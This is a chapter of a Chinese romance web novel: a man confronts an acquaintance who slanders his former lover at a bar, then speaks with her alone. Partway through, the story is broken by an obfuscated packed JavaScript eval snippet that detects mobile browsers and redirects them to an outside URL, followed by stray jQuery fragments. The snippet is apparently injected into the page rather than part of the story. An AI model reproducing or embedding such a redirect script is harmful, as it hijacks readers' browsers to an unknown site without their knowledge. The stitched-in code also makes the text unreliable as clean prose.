孟嘉珩就这么立在酒吧二楼,完全不在意有一群人正等着他,视线俯落,能将底下人的动静尽收眼底,沉静淡漠的目光如同一张无形的网,凝在那道窈窕身影上。
估计又抽中了大冒险,她起身,走向正在弹吉他的歌手,不知说了什么,吉他小哥走到角落,女人半坐在了高脚凳上,双腿交叠,黑色的裙摆随着动作摇曳一瞬,姿态依旧优雅。
她回头向小哥颔首,酒吧内灯光骤然变得柔和,方知漓轻轻调整了面前的话筒,银色细高跟随着律动数节拍。
“轻轻柔柔的想念
在单恋的季节
还记得湖畔曾与你相遇
甜甜蜜蜜的暧昧
在热恋的季节
还记得你的笑容无比的甜”*
是一首极具浪漫风格的,很甜的《海芋恋》,可灯光聚焦下的女人,气质清冷,没有过多活跃现场的气氛,也没有挥舞手臂做什么动作,只是慵懒地坐在那,细白的指尖轻轻打着节奏,尾音像是沁人柔软的微风,不妩媚,没有刻意的甜,如同海水掀浪,淹没喧嚣,攥住了所有的视线。
她给人的第一感觉,是疏离难以接近的,是带刺不好拿捏的,是理智,是好胜,永远高昂,永远充斥着防备,似乎没人会将她与这种甜甜的歌想象到一起。
可是她一开口,酒吧内数道目光里盈满了欣赏。
一楼与二楼之间,似乎是截然不同的世界。
手机挥舞的白色灯光只停留在半空,如同她决绝冷淡告别后,横亘在他们之间的八年界限。
孟嘉珩的目光似是浸了墨,只要她抬头,就能撞进他的视线里。可和分开那天一样,从始至终,她都没有回头。
曾经吵架时,她说:“我们不是一类人。”
孟嘉珩不怎么抽烟,可她出现的那一刻,他的心脏像是猝不及防染上了躁动着的瘾,被她点燃,被她灼烧,为她燃尽,恨不得与她同归于尽。
但她说错了,他和她明明就是同一类人。
一样的恶劣,一样的不择手段。
-
孟嘉珩推门而入时,温临泽还在发着脾气,手中的酒瓶砸在了他的脚边,空气顿时跌入冷寂。
“看来我不该过来。”
温临泽意识到自己做了什么,他收敛戾气,低低道歉,“哥,我不是针对你。”
厉羽在男人出现时顿时涌上欣喜,却在这一刻消失得一干二净,忐忑地帮忙解释,“嘉珩哥,阿泽不是故意的。”
阚思思几人也附和了几句,孟嘉珩坐到了主位,双腿交叠,这才不温不淡地开口:“毕竟今天是你的主场,我来得迟,你有怨言也是理所应当。”
虽是这么说,话里没有任何的歉意。
明明今天的寿星是温临泽,在场的却没人敢多一句怨言。
“哥你说什么呢,你能来我高兴还来不及。”
温临泽说的是实话,几人虽然都是一个大院长大的,但他们几个与孟嘉珩算不上相熟。
但如今温家动荡,他的确需要旁支力量相助,有心拉近和孟嘉珩之间的关系。
“我是因为遇到了方知漓,觉得晦气,嘉珩哥你还记得她吗?”
孟嘉珩没有太过强烈的反应,只是掀起眼皮,不含任何温度地扫向他,晦暗冷淡,瞧不出喜怒。
温临泽似是料定他一定不会记得,冷声不掩嘲讽,“他爸当年还真是把我们所有人都巴结过了,山鸡就是山鸡,就算换了环境,也改不了事实。”
“当年她接近嘉珩哥,也不看看自己配不配。”
坐在边上的几人也附和道:“我想起来,高二的手工节,她不是把我们所有人的作品弄毁了吗?”
厉羽的目光从始至终都在孟嘉珩身上,男人明明什么都没说,她却不由自主地蜷紧了手,惴惴不安的。
“不是说是流浪猫吗?”
阚思思疑惑地插了句话。
“你还真信啊?”温临泽嗤笑一声,“你们都忘了李牧槐当时喜欢方知漓吗?她那天晚上见的人就是李牧槐,偏偏手工节的时候请假,回来以后就替她解释,你信他们之间没有一腿?”
“她的手段可不小,连亲手杀父都能够安然无恙,也不知道是谁保释的她,知不知道她是多恶毒的人——”
厉羽心里不好的预感愈深,“阿泽,别说了。”
“砰!”
酒杯忽地被人狠砸而下,桌面的一排酒顺着力道倒落碎了一地,尖锐刺耳的动静消失,空气陷入窒息般的冷寂,身后的屏幕上还在放着歌,在场的人却陡然噤声,连呼吸都滞了半拍。
“保释她的人,是我。”
男人没有看向脸色异然的众人,只是慢条斯理地擦拭着自己的手心,仿佛刚在碰过什么肮脏的东西。
见没人说话,他似是随口提起另一件事,“我记得,当时让你和她道歉了。”
温临泽心跳一紧,再没有刚才那般高昂的模样,刺骨的冷意从背脊窜了上来,下意识地撒谎,“我道歉了。”
当年他和几个朋友会说这件事,是因为知道孟嘉珩和方知漓不合。
最开始,他们想借这件事讨好他,而孟嘉珩最初的反应也如他们想象中的一样,甚至是,他似乎比他们预料的还要冷漠厌恶,说了一句我很闲吗,仿佛连听都不愿意。
见他不耐,大家都识趣地岔开话题,没人再提方知漓的名字。
可他在离开前,撂下了一句话:“滚去方家道歉。”
在明知道是她“恶毒”地毁了所有人的作品的前提下,他却让他们去和她道歉。
他们都觉得孟嘉珩疯了。
直至如今,厉羽望着脸色淡漠的男人,无数次因为他雀跃的心脏在这一刻骤然清醒,甚至恍惚地觉得,他们都错了。
他们所认为的“另类”,不止方知漓一人——
孟嘉珩也是。
或许,他们才是,他们本就是一类人。
“温临泽,你是不是太给自己脸了,嗯?”
他没有任何愠怒的语气,甚至噙着不温不淡的笑意,可温临泽全身的骨头似乎都僵住了,来不及猜测男人和方知漓之间的关系,咽下愈来愈深的惧意,声音发颤,“嘉珩哥,是我错了。”
“我自罚。”
剩下几杯没被砸碎的酒,被他一杯一杯地灌了下去,甚至没有任何的停歇。
在场没人敢开口,他似乎感兴趣了,可那漆黑的视线如同浸了墨,深不见底,没有丝毫的笑意。
他不说话,温临泽不敢停下,他酒量一般,大脑很快浑沌,踉跄着想要去拿边上的酒,却忽然失力往下栽去,手臂瞬间猩红。
厉羽下意识地去扶他,温临泽支撑着身体,却不敢闷哼出声。孟嘉珩起身,居高临下地来到他面前,随之而来的是与生俱来的压迫感。
“你觉得,你哪来的资格评价她的为人。”
温临泽的手还在滴血,下意识地摇头:“没、我没资格....”
“那说说,你知道我是什么样的人吗?”
温临泽嗫嚅着,说不出一句话。
孟嘉珩似是饶有兴趣,问了其他人。
阚思思一向是怕他的,吞吞吐吐地回答,“嘉珩哥....你,你是个善良的好人。”
“好人?”
他漫不经心地重复了这两个字,转而问了另外一个人。
那人慌张点头,“您能保释方知漓,您.....”
孟嘉珩像是听见什么有意思的事,溢出轻笑,往后退去,无视温临泽的狼狈,噙着浅笑问他,“你也这么觉得?”
温临泽强撑着让自己清醒,喉咙像是被人掐住,说不出一个字来。
“那还真是让你们失望了。”
孟嘉珩唇角的笑意消失的一干二净,睨着他的眼里淬着凉薄的冷意,“我和她,从来都是一类人。”
她手握锋利的匕首,他的选择从来不是阻止,而是补刀。
而她这颗外人眼中黑心的毒苹果,他甘之如饴,且早就百毒不侵。
“滚去和她跪下道歉。”他睇过来的目光冷峭不含温度,“这件事,在我这没完。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252415|182028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撂下这么一句话,孟嘉珩从包厢离开,随手拦了路过的酒保,问老板在不在。
酒保指着底下和人交谈甚欢的安晴,孟嘉珩的目光却掠过她,望着方知漓,以及,她身边那道碍眼的背影上。
康骏是被方知漓一个电话叫过来的。
玩大冒险的时候,要和微信最近聊天的异性打电话,让对方赶过来接人。
自从那天她亲自将人送回家,康骏变了个人似的,仿佛真的打算努力搞事业了,唯一烦人的就是,他每天像条尾巴一样跟在方知漓身后。
她在大冒险结束后就给他发消息解释了,但这人还是巴巴赶过来了。
此时几人正在听他说前几天去找前女友的事。
他听了方知漓的话,的确觉得自己做的不对,找朋友借钱,买了几个包,亲自送去医院当作分手礼,真诚地反思了自己在感情里不对的地方,并和人道歉。
“所以呢?你前女友怎么说?”
“她说——你唯一能让我解气的方式,就是消失!除非你的葬礼给我发邀请函,别再出现了!”
康骏有模有样地学着女生的语调,说完后,面露委屈。
安晴笑得乐不可支,谭灵已经有点醉了,倒在方知漓怀里打了个嗝,“没错!合格的前任最好是永远消失!”
方知漓也狐疑地问:“你到底是做了多对不起人家的事,才会让她这么恨。”
康骏有苦难言,“真没有。”
前女友甩了他一巴掌后就冷静了,也开始真诚地道歉。
两人敞开心扉说了很久,其实都没什么感情了,但追溯最开始的那一天,他们本就是玩玩而已。
“反正如果我离婚,肯定也不想见到对方。”
谭灵喝醉就口无遮拦的,才刚结婚,方知漓让她呸呸两声不要说这些,被她撒娇着糊弄过去。
“那你呢?你也希望前任不好过吗?”
康骏完全妇女之友的八卦模样。
若是以前,方知漓不会回答这个问题。
她望着面前的酒杯,他放下后,她就再没碰过。
“我只希望,各自两方,都能有自己的生活。”
她话音落下,康骏提音哎嘿一声:“我还以为你也是那种会很恨的前任!”
谭灵嚷嚷着:“那是因为我们漓漓人好!”
几人闹了起来,方知漓安静噙着笑意,没说完的话,就这么静静沉了下去。
.....
玩的途中,郝淑雪打来电话。
她在朱大爷家,有个东西他们几个老年人都不会用。
方知漓开了视频,很耐心地指导他们,聊完后,她没有直接回去,而是站在走廊尽头,望着沉静没有一颗星星的黑夜吹冷风。
清冽的风里拂来熟悉的淡香,她蜷着手,密长的眼睫一颤,却没有看向身边的人。
“砸了点东西,你朋友会不会介意。”
方知漓听着他毫无歉意的一句话,终于有了点不一样的情绪。
“你说呢?”她没有询问这个“点”的范围是什么,只是有点无言:“赔钱就行。”
孟嘉珩没有问多少钱,一副有钱压根不在意的模样,漫不经心地换了话题,“以前也玩过这种大冒险?”
他没提温临泽的事,方知漓也难得没有抗拒,就这么不温不淡地嗯了声。
“也是找人一起喝酒?”
“都有。”她神色平静,真假半掺地回答,“喝酒、拥抱、接吻,什么都有。”
他也不知信没信,睇着她的侧脸,“你倒是玩得开。”
方知漓耸了耸肩,坦然对上他的目光,“游戏而已,没什么玩不起的。”
孟嘉珩在心底重复了一遍她的回答,轻嘲般扯了下唇。
玩不起三个字,她也对他说过。
在那段被她舍弃的感情里,仿佛只有他当真了。
她似乎也想到了那年的事,收回视线,望着窗外漆深寂寥的黑夜,过了很久,才风轻云淡地开口,“你这些年,谈恋爱了吗?”